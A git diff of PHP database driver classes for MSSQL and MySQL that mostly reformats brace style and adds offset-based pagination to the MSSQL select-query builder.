$this->setError(print_r(sqlsrv_errors(),true)); + } - $this->param = array(); - - return $stmt; - } - - /** - * Parameters to sqlsrv_prepare need to be references, and not literals - * Parameters are sent as an array, where each parameter can be: - * - a PHP variable (by reference) - * - a PHP array (containng param value, type and direction) -> also needs to be sent by reference - * @param array $_param - * @return array - */ - function _getParametersByReference($_param) + // Run the query statement + $result = false; + if(count($_param)) { - $copy = array(); $args = array(); $i = 0; - foreach($_param as $key => $value) { - if(is_array($value)) - { - $value_copy = $value; - $value_arg = array(); - $value_arg[] = &$value_copy[0]; - $value_arg[] = $value_copy[1]; - $value_arg[] = $value_copy[2]; - } - else - { - $value_arg = $value; - } - $copy[$key] = $value_arg; - $args[$i++] = &$copy[$key]; - } - return $args; + $args = $this->_getParametersByReference($_param); + $stmt = sqlsrv_prepare($connection, $query, $args); + } + else + { + $stmt = sqlsrv_prepare($connection, $query); } - /** - * Fetch results - * @param resource $result - * @param int|NULL $arrayIndexEndValue - * @return array - */ - function _fetch($result, $arrayIndexEndValue = NULL) { - $output = array(); - if(!$this->isConnected() || $this->isError() || !$result) return $output; + if(!$stmt) + { + $result = false; + } + else + { + $result = sqlsrv_execute($stmt); + } - $c = sqlsrv_num_fields($result); - $m = null; + // Error Check + if(!$result) + { + $this->setError(print_r(sqlsrv_errors(), true)); + } - while(sqlsrv_fetch($result)){ - if(!$m) $m = sqlsrv_field_metadata($result); - unset($row); - for($i=0;$i<$c;$i++){ - $row->{$m[$i]['Name']} = sqlsrv_get_field( $result, $i, SQLSRV_PHPTYPE_STRING( 'utf-8' )); - } - if($arrayIndexEndValue) $output[$arrayIndexEndValue--] = $row; - else $output[] = $row; + $this->param = array(); + + return $stmt; + } + + /** + * Parameters to sqlsrv_prepare need to be references, and not literals + * Parameters are sent as an array, where each parameter can be: + * - a PHP variable (by reference) + * - a PHP array (containng param value, type and direction) -> also needs to be sent by reference + * @param array $_param + * @return array + */ + function _getParametersByReference($_param) + { + $copy = array(); + $args = array(); + $i = 0; + foreach($_param as $key => $value) + { + if(is_array($value)) + { + $value_copy = $value; + $value_arg = array(); + $value_arg[] = &$value_copy[0]; + $value_arg[] = $value_copy[1]; + $value_arg[] = $value_copy[2]; } - - if(count($output)==1) { - if(isset($arrayIndexEndValue)) return $output; - else return $output[0]; - } - return $output; - - } - - /** - * Return the sequence value incremented by 1 - * Auto_increment column only used in the sequence table - * @return int - */ - function getNextSequence() { - $query = sprintf("insert into %ssequence (seq) values (ident_incr('%ssequence'))", $this->prefix, $this->prefix); - $this->_query($query); - - $query = sprintf("select ident_current('%ssequence')+1 as sequence", $this->prefix); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - - - return $tmp->sequence; - } - - /** - * Check a table exists status - * @param string $target_name - * @return boolean - */ - function isTableExists($target_name) { - $query = sprintf("select name from sysobjects where name = '%s%s' and xtype='U'", $this->prefix, $this->addQuotes($target_name)); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - - if(!$tmp) return false; - return true; - } - - /** - * Add a column to the table - * @param string $table_name table name - * @param string $column_name column name - * @param string $type column type, default value is 'number' - * @param int $size column size - * @param string|int $default default value - * @param boolean $notnull not null status, default value is false - * @return void - */ - function addColumn($table_name, $column_name, $type='number', $size='', $default = '', $notnull=false) { - if($this->isColumnExists($table_name, $column_name)) return; - $type = $this->column_type[$type]; - if(strtoupper($type)=='INTEGER') $size = ''; - - $query = sprintf("alter table %s%s add %s ", $this->prefix, $table_name, $column_name); - if($size) $query .= sprintf(" %s(%s) ", $type, $size); - else $query .= sprintf(" %s ", $type); - if($default) $query .= sprintf(" default '%s' ", $default); - if($notnull) $query .= " not null "; - - return $this->_query($query); - } - - /** - * Drop a column from the table - * @param string $table_name table name - * @param string $column_name column name - * @return void - */ - function dropColumn($table_name, $column_name) { - if(!$this->isColumnExists($table_name, $column_name)) return; - $query = sprintf("alter table %s%s drop %s ", $this->prefix, $table_name, $column_name); - $this->_query($query); - } - - /** - * Check column exist status of the table - * @param string $table_name table name - * @param string $column_name column name - * @return boolean - */ - function isColumnExists($table_name, $column_name) { - $query = sprintf("select syscolumns.name as name from syscolumns, sysobjects where sysobjects.name = '%s%s' and sysobjects.id = syscolumns.id and syscolumns.name = '%s'", $this->prefix, $table_name, $column_name); - $result = $this->_query($query); - if($this->isError()) return; - $tmp = $this->_fetch($result); - if(!$tmp->name) return false; - return true; - } - - /** - * Add an index to the table - * $target_columns = array(col1, col2) - * $is_unique? unique : none - * @param string $table_name table name - * @param string $index_name index name - * @param string|array $target_columns target column or columns - * @param boolean $is_unique - * @return void - */ - function addIndex($table_name, $index_name, $target_columns, $is_unique = false) { - if($this->isIndexExists($table_name, $index_name)) return; - if(!is_array($target_columns)) $target_columns = array($target_columns); - - $query = sprintf("create %s index %s on %s%s (%s)", $is_unique?'unique':'', $index_name, $this->prefix, $table_name, implode(',',$target_columns)); - $this->_query($query); - } - - /** - * Drop an index from the table - * @param string $table_name table name - * @param string $index_name index name - * @param boolean $is_unique - * @return void - */ - function dropIndex($table_name, $index_name, $is_unique = false) { - if(!$this->isIndexExists($table_name, $index_name)) return; - $query = sprintf("drop index %s%s.%s", $this->prefix, $table_name, $index_name); - $this->_query($query); - } - - /** - * Check index status of the table - * @param string $table_name table name - * @param string $index_name index name - * @return boolean - */ - function isIndexExists($table_name, $index_name) { - $query = sprintf("select sysindexes.name as name from sysindexes, sysobjects where sysobjects.name = '%s%s' and sysobjects.id = sysindexes.id and sysindexes.name = '%s'", $this->prefix, $table_name, $index_name); - - $result = $this->_query($query); - if($this->isError()) return; - $tmp = $this->_fetch($result); - - if(!$tmp->name) return false; - return true; - } - - /** - * Creates a table by using xml contents - * @param string $xml_doc xml schema contents - * @return void|object - */ - function createTableByXml($xml_doc) { - return $this->_createTable($xml_doc); - } - - /** - * Creates a table by using xml file path - * @param string $file_name xml schema file path - * @return void|object - */ - function createTableByXmlFile($file_name) { - if(!file_exists($file_name)) return; - // read xml file - $buff = FileHandler::readFile($file_name); - return $this->_createTable($buff); - } - - /** - * Create table by using the schema xml - * - * type : number, varchar, tinytext, text, bigtext, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - * @param string $xml_doc xml schema contents - * @return void|object - */ - function _createTable($xml_doc) { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - if($this->isTableExists($table_name)) return; - - if($table_name == 'sequence') { - $table_name = $this->prefix.$table_name; - $query = sprintf('create table %s ( sequence int identity(1,1), seq int )', $table_name); - return $this->_query($query); - } else { - $table_name = $this->prefix.$table_name; - - if(!is_array($xml_obj->table->column)) $columns[] = $xml_obj->table->column; - else $columns = $xml_obj->table->column; - - $primary_list = array(); - $unique_list = array(); - $index_list = array(); - - $typeList = array('number'=>1, 'text'=>1); - foreach($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; - - $column_schema[] = sprintf('[%s] %s%s %s %s %s', - $name, - $this->column_type[$type], - !isset($typeList[$type])&&$size?'('.$size.')':'', - isset($default)?"default '".$default."'":'', - $notnull?'not null':'null', - $auto_increment?'identity(1,1)':'' - ); - - if($primary_key) $primary_list[] = $name; - else if($unique) $unique_list[$unique][] = $name; - else if($index) $index_list[$index][] = $name; - } - - if(count($primary_list)) - { - $column_schema[] = sprintf("primary key (%s)", '"'.implode($primary_list,'","').'"'); - } - - $schema = sprintf('create table [%s] (%s%s)', $this->addQuotes($table_name), "\n", implode($column_schema,",\n")); - $output = $this->_query($schema); - if(!$output) return false; - - if(count($unique_list)) { - foreach($unique_list as $key => $val) { - $query = sprintf("create unique index %s on %s (%s);", $key, $table_name, '['.implode('],[',$val).']'); - $this->_query($query); - } - } - - if(count($index_list)) { - foreach($index_list as $key => $val) { - $query = sprintf("create index %s on %s (%s);", $key, $table_name, '['.implode('],[',$val).']'); - $this->_query($query); - } - } - return true; - } - } - - - - /** - * Handles insertAct - * @todo Lookup _filterNumber against sql injection - see if it is still needed and how to integrate - * @param Object $queryObject - * @return resource - */ - function _executeInsertAct($queryObject) { - $query = $this->getInsertSql($queryObject, false); - $this->param = $queryObject->getArguments(); - return $this->_query($query); - } - - /** - * Handles updateAct - * @param Object $queryObject - * @return resource - */ - function _executeUpdateAct($queryObject) { - $query = $this->getUpdateSql($queryObject, false); - $this->param = $queryObject->getArguments(); - return $this->_query($query); - } - - /** - * Return update query string - * @param object $query - * @param boolean $with_values - * @param boolean $with_priority - * @return string - */ - function getUpdateSql($query, $with_values = true, $with_priority = false){ - $columnsList = $query->getUpdateString($with_values); - if($columnsList == '') return new Object(-1, "Invalid query"); - - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - - $tables = $query->getTables(); - $alias_list = ''; - foreach($tables as $table) - $alias_list .= $table->getAlias(); - implode(',', explode(' ', $alias_list)); - - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; - - $priority = $with_priority?$query->getPriority():''; - - return "UPDATE $priority $alias_list SET $columnsList FROM ".$from.$where; - } - - /** - * Handles deleteAct - * @param Object $queryObject - * @return resource - */ - function _executeDeleteAct($queryObject) { - $query = $this->getDeleteSql($queryObject, false); - $this->param = $queryObject->getArguments(); - return $this->_query($query); - } - - /** - * Return select query string - * @param object $query - * @param boolean $with_values - * @return string - */ - function getSelectSql($query, $with_values = TRUE){ - $with_values = false; - - //$limitOffset = $query->getLimit()->getOffset(); - //if($limitOffset) - // TODO Implement Limit with offset with subquery - $limit = '';$limitCount = ''; - $limitQueryPart = $query->getLimit(); - if($limitQueryPart) - $limitCount = $limitQueryPart->getLimit(); - if($limitCount != '') $limit = 'SELECT TOP ' . $limitCount; - - $select = $query->getSelectString($with_values); - if($select == '') return new Object(-1, "Invalid query"); - if($limit != '') - $select = $limit.' '.$select; else - $select = 'SELECT ' .$select; + { + $value_arg = $value; + } + $copy[$key] = $value_arg; + $args[$i++] = &$copy[$key]; + } + return $args; + } - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - $from = ' FROM '.$from; - - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; - - $groupBy = $query->getGroupByString(); - if($groupBy != '') $groupBy = ' GROUP BY ' . $groupBy; - - $orderBy = $query->getOrderByString(); - if($orderBy != '') $orderBy = ' ORDER BY ' . $orderBy; - - - - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy; - } - - /** - * Handle selectAct - * In order to get a list of pages easily when selecting \n - * it supports a method as navigation - * @param Object $queryObject - * @param resource $connection - * @return Object - */ - function _executeSelectAct($queryObject, $connection = null) { - $query = $this->getSelectSql($queryObject); - - if(strpos($query, "substr")) $query = str_replace ("substr", "substring", $query); - - // TODO Decide if we continue to pass parameters like this - $this->param = $queryObject->getArguments(); - - $query .= (__DEBUG_QUERY__&1 && $output->query_id)?sprintf(' '.$this->comment_syntax,$this->query_id):''; - $result = $this->_query($query, $connection); - - if ($this->isError ()) return $this->queryError($queryObject); - else return $this->queryPageLimit($queryObject, $result, $connection); - } - - /** - * Return the DBParser - * @param boolean $force - * @return DBParser - */ - function getParser($force = FALSE){ - return new DBParser("[", "]", $this->prefix); - } - - /** - * If have a error, return error object - * @param Object $queryObject - * @return Object - */ - function queryError($queryObject){ - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()){ - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array (); - $buff->page_navigation = new PageHandler (/*$total_count*/0, /*$total_page*/1, /*$page*/1, /*$page_count*/10);//default page handler values - return $buff; - }else - return; + /** + * Fetch results + * @param resource $result + * @param int|NULL $arrayIndexEndValue + * @return array + */ + function _fetch($result, $arrayIndexEndValue = NULL) + { + $output = array(); + if(!$this->isConnected() || $this->isError() || !$result) + { + return $output; } - /** - * If select query execute, return page info - * @param Object $queryObject - * @param resource $result - * @param resource $connection - * @return Object Object with page info containing - */ - function queryPageLimit($queryObject, $result, $connection) { - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()) { - // Total count - $temp_where = $queryObject->getWhereString(true, false); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString(), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); + $c = sqlsrv_num_fields($result); + $m = null; - // Check for distinct query and if found update count query structure - $temp_select = $queryObject->getSelectString(true); - $uses_distinct = strpos(strtolower($temp_select), "distinct") !== false; - $uses_groupby = $queryObject->getGroupByString() != ''; - if($uses_distinct || $uses_groupby) { - $count_query = sprintf('select %s %s %s %s' - , $temp_select - , 'FROM ' . $queryObject->getFromString(true) - , ($temp_where === '' ? '' : ' WHERE '. $temp_where) - , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') - ); + while(sqlsrv_fetch($result)) + { + if(!$m) + { + $m = sqlsrv_field_metadata($result); + } + unset($row); + for($i = 0; $i < $c; $i++) + { + $row->{$m[$i]['Name']} = sqlsrv_get_field($result, $i, SQLSRV_PHPTYPE_STRING('utf-8')); + } + if($arrayIndexEndValue) + { + $output[$arrayIndexEndValue--] = $row; + } + else + { + $output[] = $row; + } + } - // If query uses grouping or distinct, count from original select - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } + if(count($output) == 1) + { + if(isset($arrayIndexEndValue)) + { + return $output; + } + else + { + return $output[0]; + } + } + return $output; + } - $count_query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - $this->param = $queryObject->getArguments(); - $result_count = $this->_query($count_query, $connection); - $count_output = $this->_fetch($result_count); - $total_count = (int) $count_output->count; + /** + * Return the sequence value incremented by 1 + * Auto_increment column only used in the sequence table + * @return int + */ + function getNextSequence() + { + $query = sprintf("insert into %ssequence (seq) values (ident_incr('%ssequence'))", $this->prefix, $this->prefix); + $this->_query($query); - $list_count = $limit->list_count->getValue(); - if (!$list_count) - $list_count = 20; - $page_count = $limit->page_count->getValue(); - if (!$page_count) - $page_count = 10; - $page = $limit->page->getValue(); - if (!$page) - $page = 1; - // Total pages - if ($total_count) { - $total_page = (int) (($total_count - 1) / $list_count) + 1; - } else - $total_page = 1; + $query = sprintf("select ident_current('%ssequence')+1 as sequence", $this->prefix); + $result = $this->_query($query); + $tmp = $this->_fetch($result); - // check the page variables - if ($page > $total_page) { - // If requested page is bigger than total number of pages, return empty list - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = array(); - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; + return $tmp->sequence; + } + + /** + * Check a table exists status + * @param string $target_name + * @return boolean + */ + function isTableExists($target_name) + { + $query = sprintf("select name from sysobjects where name = '%s%s' and xtype='U'", $this->prefix, $this->addQuotes($target_name)); + $result = $this->_query($query); + $tmp = $this->_fetch($result); + + if(!$tmp) + { + return false; + } + return true; + } + + /** + * Add a column to the table + * @param string $table_name table name + * @param string $column_name column name + * @param string $type column type, default value is 'number' + * @param int $size column size + * @param string|int $default default value + * @param boolean $notnull not null status, default value is false + * @return void + */ + function addColumn($table_name, $column_name, $type = 'number', $size = '', $default = '', $notnull = false) + { + if($this->isColumnExists($table_name, $column_name)) + { + return; + } + $type = $this->column_type[$type]; + if(strtoupper($type) == 'INTEGER') + { + $size = ''; + } + + $query = sprintf("alter table %s%s add %s ", $this->prefix, $table_name, $column_name); + if($size) + { + $query .= sprintf(" %s(%s) ", $type, $size); + } + else + { + $query .= sprintf(" %s ", $type); + } + + if($default) + { + $query .= sprintf(" default '%s' ", $default); + } + if($notnull) + { + $query .= " not null "; + } + + return $this->_query($query); + } + + /** + * Drop a column from the table + * @param string $table_name table name + * @param string $column_name column name + * @return void + */ + function dropColumn($table_name, $column_name) + { + if(!$this->isColumnExists($table_name, $column_name)) + { + return; + } + $query = sprintf("alter table %s%s drop %s ", $this->prefix, $table_name, $column_name); + $this->_query($query); + } + + /** + * Check column exist status of the table + * @param string $table_name table name + * @param string $column_name column name + * @return boolean + */ + function isColumnExists($table_name, $column_name) + { + $query = sprintf("select syscolumns.name as name from syscolumns, sysobjects where sysobjects.name = '%s%s' and sysobjects.id = syscolumns.id and syscolumns.name = '%s'", $this->prefix, $table_name, $column_name); + $result = $this->_query($query); + if($this->isError()) + { + return; + } + $tmp = $this->_fetch($result); + if(!$tmp->name) + { + return false; + } + return true; + } + + /** + * Add an index to the table + * $target_columns = array(col1, col2) + * $is_unique? unique : none + * @param string $table_name table name + * @param string $index_name index name + * @param string|array $target_columns target column or columns + * @param boolean $is_unique + * @return void + */ + function addIndex($table_name, $index_name, $target_columns, $is_unique = false) + { + if($this->isIndexExists($table_name, $index_name)) + { + return; + } + if(!is_array($target_columns)) + { + $target_columns = array($target_columns); + } + + $query = sprintf("create %s index %s on %s%s (%s)", $is_unique ? 'unique' : '', $index_name, $this->prefix, $table_name, implode(',', $target_columns)); + $this->_query($query); + } + + /** + * Drop an index from the table + * @param string $table_name table name + * @param string $index_name index name + * @param boolean $is_unique + * @return void + */ + function dropIndex($table_name, $index_name, $is_unique = false) + { + if(!$this->isIndexExists($table_name, $index_name)) + { + return; + } + $query = sprintf("drop index %s%s.%s", $this->prefix, $table_name, $index_name); + $this->_query($query); + } + + /** + * Check index status of the table + * @param string $table_name table name + * @param string $index_name index name + * @return boolean + */ + function isIndexExists($table_name, $index_name) + { + $query = sprintf("select sysindexes.name as name from sysindexes, sysobjects where sysobjects.name = '%s%s' and sysobjects.id = sysindexes.id and sysindexes.name = '%s'", $this->prefix, $table_name, $index_name); + + $result = $this->_query($query); + if($this->isError()) + { + return; + } + $tmp = $this->_fetch($result); + + if(!$tmp->name) + { + return false; + } + return true; + } + + /** + * Creates a table by using xml contents + * @param string $xml_doc xml schema contents + * @return void|object + */ + function createTableByXml($xml_doc) + { + return $this->_createTable($xml_doc); + } + + /** + * Creates a table by using xml file path + * @param string $file_name xml schema file path + * @return void|object + */ + function createTableByXmlFile($file_name) + { + if(!file_exists($file_name)) + { + return; + } + // read xml file + $buff = FileHandler::readFile($file_name); + return $this->_createTable($buff); + } + + /** + * Create table by using the schema xml + * + * type : number, varchar, tinytext, text, bigtext, char, date, \n + * opt : notnull, default, size\n + * index : primary key, index, unique\n + * @param string $xml_doc xml schema contents + * @return void|object + */ + function _createTable($xml_doc) + { + // xml parsing + $oXml = new XmlParser(); + $xml_obj = $oXml->parse($xml_doc); + // Create a table schema + $table_name = $xml_obj->table->attrs->name; + if($this->isTableExists($table_name)) + { + return; + } + + if($table_name == 'sequence') + { + $table_name = $this->prefix . $table_name; + $query = sprintf('create table %s ( sequence int identity(1,1), seq int )', $table_name); + return $this->_query($query); + } + else + { + $table_name = $this->prefix . $table_name; + + if(!is_array($xml_obj->table->column)) + { + $columns[] = $xml_obj->table->column; + } + else + { + $columns = $xml_obj->table->column; + } + + $primary_list = array(); + $unique_list = array(); + $index_list = array(); + + $typeList = array('number' => 1, 'text' => 1); + foreach($columns as $column) + { + $name = $column->attrs->name; + $type = $column->attrs->type; + $size = $column->attrs->size; + $notnull = $column->attrs->notnull; + $primary_key = $column->attrs->primary_key; + $index = $column->attrs->index; + $unique = $column->attrs->unique; + $default = $column->attrs->default; + $auto_increment = $column->attrs->auto_increment; + + $column_schema[] = sprintf('[%s] %s%s %s %s %s', $name, $this->column_type[$type], !isset($typeList[$type]) && $size ? '(' . $size . ')' : '', isset($default) ? "default '" . $default . "'" : '', $notnull ? 'not null' : 'null', $auto_increment ? 'identity(1,1)' : ''); + + if($primary_key) + { + $primary_list[] = $name; + } + else if($unique) + { + $unique_list[$unique][] = $name; + } + else if($index) + { + $index_list[$index][] = $name; + } + } + + if(count($primary_list)) + { + $column_schema[] = sprintf("primary key (%s)", '"' . implode($primary_list, '","') . '"'); + } + + $schema = sprintf('create table [%s] (%s%s)', $this->addQuotes($table_name), "\n", implode($column_schema, ",\n")); + $output = $this->_query($schema); + if(!$output) + { + return false; + } + + if(count($unique_list)) + { + foreach($unique_list as $key => $val) + { + $query = sprintf("create unique index %s on %s (%s);", $key, $table_name, '[' . implode('],[', $val) . ']'); + $this->_query($query); + } + } + + if(count($index_list)) + { + foreach($index_list as $key => $val) + { + $query = sprintf("create index %s on %s (%s);", $key, $table_name, '[' . implode('],[', $val) . ']'); + $this->_query($query); + } + } + return true; + } + } + + /** + * Handles insertAct + * @todo Lookup _filterNumber against sql injection - see if it is still needed and how to integrate + * @param Object $queryObject + * @return resource + */ + function _executeInsertAct($queryObject) + { + $query = $this->getInsertSql($queryObject, false); + $this->param = $queryObject->getArguments(); + return $this->_query($query); + } + + /** + * Handles updateAct + * @param Object $queryObject + * @return resource + */ + function _executeUpdateAct($queryObject) + { + $query = $this->getUpdateSql($queryObject, false); + $this->param = $queryObject->getArguments(); + return $this->_query($query); + } + + /** + * Return update query string + * @param object $query + * @param boolean $with_values + * @param boolean $with_priority + * @return string + */ + function getUpdateSql($query, $with_values = true, $with_priority = false) + { + $columnsList = $query->getUpdateString($with_values); + if($columnsList == '') + { + return new Object(-1, "Invalid query"); + } + + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + + $tables = $query->getTables(); + $alias_list = ''; + foreach($tables as $table) + { + $alias_list .= $table->getAlias(); + } + implode(',', explode(' ', $alias_list)); + + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } + + $priority = $with_priority ? $query->getPriority() : ''; + + return "UPDATE $priority $alias_list SET $columnsList FROM " . $from . $where; + } + + /** + * Handles deleteAct + * @param Object $queryObject + * @return resource + */ + function _executeDeleteAct($queryObject) + { + $query = $this->getDeleteSql($queryObject, false); + $this->param = $queryObject->getArguments(); + return $this->_query($query); + } + + /** + * Return select query string + * @param object $query + * @param boolean $with_values + * @return string + */ + function getSelectSql($query, $with_values = TRUE, $connection=NULL) + { + $with_values = false; + + //$limitOffset = $query->getLimit()->getOffset(); + //if($limitOffset) + // TODO Implement Limit with offset with subquery + $limit = ''; + $limitCount = ''; + $limitQueryPart = $query->getLimit(); + if($limitQueryPart) + { + $limitCount = $limitQueryPart->getLimit(); + } + if($limitCount != '') + { + $limit = 'SELECT TOP ' . $limitCount; + } + + $select = $query->getSelectString($with_values); + if($select == '') + { + return new Object(-1, "Invalid query"); + } + if($limit != '') + { + $select = $limit . ' ' . $select; + } + else + { + $select = 'SELECT ' . $select; + } + + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + $from = ' FROM ' . $from; + + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } + + $groupBy = $query->getGroupByString(); + if($groupBy != '') + { + $groupBy = ' GROUP BY ' . $groupBy; + } + + $orderBy = $query->getOrderByString(); + if($orderBy != '') + { + $orderBy = ' ORDER BY ' . $orderBy; + } + + if($limitCount != '' && $query->limit->start > 0) + { + $order = $query->getOrder(); + $first_columns = array(); + foreach($order as $val) + { + $tmpColumnName = $val->getPureColumnName(); + $first_columns[] = sprintf('%s(%s) as %s', $val->getPureSortOrder()=='asc'?'max':'min', $tmpColumnName, $tmpColumnName); + $first_sub_columns[] = $tmpColumnName; + } + + $first_query = sprintf("select %s from (select top %d %s %s %s %s %s) xet", implode(',',$first_columns), $query->limit->start, implode(',',$first_sub_columns), $from, $where, $groupBy, $orderBy); + $this->param = $query->getArguments(); + $result = $this->__query($first_query, $connection); + $tmp = $this->_fetch($result); + + $sub_cond = array(); + foreach($order as $k => $v) + { + //for example... use Document + if(get_class($v->sort_order) == 'SortArgument') + { + $sort_order = $v->sort_order->value; + } + //for example... use comment, file + else + { + $sort_order = $v->sort_order; } - $start_count = ($page - 1) * $list_count; - $this->param = $queryObject->getArguments(); - $virtual_no = $total_count - $start_count; - $data = $this->_fetch($result, $virtual_no); + $sub_cond[] = sprintf("%s %s '%s'", $v->getPureColumnName(), $sort_order=='asc'?'>':'<', $tmp->{$v->getPureColumnName()}); + } + + if(!$where) + { + $sub_condition = ' WHERE ( '.implode(' and ',$sub_cond).' )'; + } + else + { + $sub_condition = ' and ( '.implode(' and ',$sub_cond).' )'; + } + } + return $select . ' ' . $from . ' ' . $where .$sub_condition. ' ' . $groupBy . ' ' . $orderBy; + } + + /** + * Handle selectAct + * In order to get a list of pages easily when selecting \n + * it supports a method as navigation + * @param Object $queryObject + * @param resource $connection + * @return Object + */ + function _executeSelectAct($queryObject, $connection = null) + { + $query = $this->getSelectSql($queryObject, true, $connection); + + if(strpos($query, "substr")) + { + $query = str_replace("substr", "substring", $query); + } + + // TODO Decide if we continue to pass parameters like this + $this->param = $queryObject->getArguments(); + + $query .= (__DEBUG_QUERY__ & 1 && $output->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + $result = $this->_query($query, $connection); + + if($this->isError()) + { + return $this->queryError($queryObject); + } + else + { + return $this->queryPageLimit($queryObject, $result, $connection); + } + } + + /** + * Return the DBParser + * @param boolean $force + * @return DBParser + */ + function getParser($force = FALSE) + { + return new DBParser("[", "]", $this->prefix); + } + + /** + * If have a error, return error object + * @param Object $queryObject + * @return Object + */ + function queryError($queryObject) + { + $limit = $queryObject->getLimit(); + if($limit && $limit->isPageHandler()) + { + $buff = new Object (); + $buff->total_count = 0; + $buff->total_page = 0; + $buff->page = 1; + $buff->data = array(); + $buff->page_navigation = new PageHandler(/* $total_count */0, /* $total_page */1, /* $page */1, /* $page_count */10); //default page handler values + return $buff; + } + else + { + return; + } + } + + /** + * If select query execute, return page info + * @param Object $queryObject + * @param resource $result + * @param resource $connection + * @return Object Object with page info containing + */ + function queryPageLimit($queryObject, $result, $connection) + { + $limit = $queryObject->getLimit(); + if($limit && $limit->isPageHandler()) + { + // Total count + $temp_where = $queryObject->getWhereString(true, false); + $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString(), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); + + // Check for distinct query and if found update count query structure + $temp_select = $queryObject->getSelectString(true); + $uses_distinct = strpos(strtolower($temp_select), "distinct") !== false; + $uses_groupby = $queryObject->getGroupByString() != ''; + if($uses_distinct || $uses_groupby) + { + $count_query = sprintf('select %s %s %s %s' + , $temp_select + , 'FROM ' . $queryObject->getFromString(true) + , ($temp_where === '' ? '' : ' WHERE ' . $temp_where) + , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') + ); + + // If query uses grouping or distinct, count from original select + $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); + } + + $count_query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; + $this->param = $queryObject->getArguments(); + $result_count = $this->_query($count_query, $connection); + $count_output = $this->_fetch($result_count); + $total_count = (int) $count_output->count; + + $list_count = $limit->list_count->getValue(); + if(!$list_count) + { + $list_count = 20; + } + $page_count = $limit->page_count->getValue(); + if(!$page_count) + { + $page_count = 10; + } + $page = $limit->page->getValue(); + if(!$page || $page < 1) + { + $page = 1; + } + // Total pages + if($total_count) + { + $total_page = (int) (($total_count - 1) / $list_count) + 1; + } + else + { + $total_page = 1; + } + + // check the page variables + if($page > $total_page) + { + // If requested page is bigger than total number of pages, return empty list $buff = new Object (); $buff->total_count = $total_count; $buff->total_page = $total_page; $buff->page = $page; - $buff->data = $data; + $buff->data = array(); $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - }else { - $data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; + return $buff; if($queryObject->usesClickCount()) { @@ -736,8 +996,28 @@ $this->_executeUpdateAct($update_query); } } - return $buff; - } - } -?> + $start_count = ($page - 1) * $list_count; + $this->param = $queryObject->getArguments(); + $virtual_no = $total_count - $start_count; + $data = $this->_fetch($result, $virtual_no); + + $buff = new Object (); + $buff->total_count = $total_count; + $buff->total_page = $total_page; + $buff->page = $page; + $buff->data = $data; + $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); + } + else + { + $data = $this->_fetch($result); + $buff = new Object (); + $buff->data = $data; + } + return $buff; + } + +} +/* End of file DBMssql.class.php */ +/* Location: ./classes/db/DBMssql.class.php */ diff --git a/classes/db/DBMysql.class.php b/classes/db/DBMysql.class.php index 799f522d3..1e845a368 100644 --- a/classes/db/DBMysql.class.php +++ b/classes/db/DBMysql.class.php @@ -1,4 +1,5 @@ 'bigint', - 'number' => 'bigint', - 'varchar' => 'varchar', - 'char' => 'char', - 'text' => 'text', - 'bigtext' => 'longtext', - 'date' => 'varchar(14)', - 'float' => 'float', - ); + */ + var $column_type = array( + 'bignumber' => 'bigint', + 'number' => 'bigint', + 'varchar' => 'varchar', + 'char' => 'char', + 'text' => 'text', + 'bigtext' => 'longtext', + 'date' => 'varchar(14)', + 'float' => 'float', + ); - /** - * Constructor + /** + * Constructor * @return void - */ - function DBMysql() { - $this->_setDBInfo(); - $this->_connect(); - } + */ + function DBMysql() + { + $this->_setDBInfo(); + $this->_connect(); + } /** * Create an instance of this class * @return DBMysql return DBMysql object instance */ - function create() { - return new DBMysql; - } + function create() + { + return new DBMysql; + } /** * Return if supportable * Check 'mysql_connect' function exists. * @return boolean */ - function isSupported() { - if(!function_exists('mysql_connect')) return false; - return true; - } + function isSupported() + { + if(!function_exists('mysql_connect')) + { + return false; + } + return true; + } /** * DB Connect @@ -69,32 +77,42 @@ class DBMysql extends DB { * @param array $connection connection's value is db_hostname, db_port, db_database, db_userid, db_password * @return resource */ - function 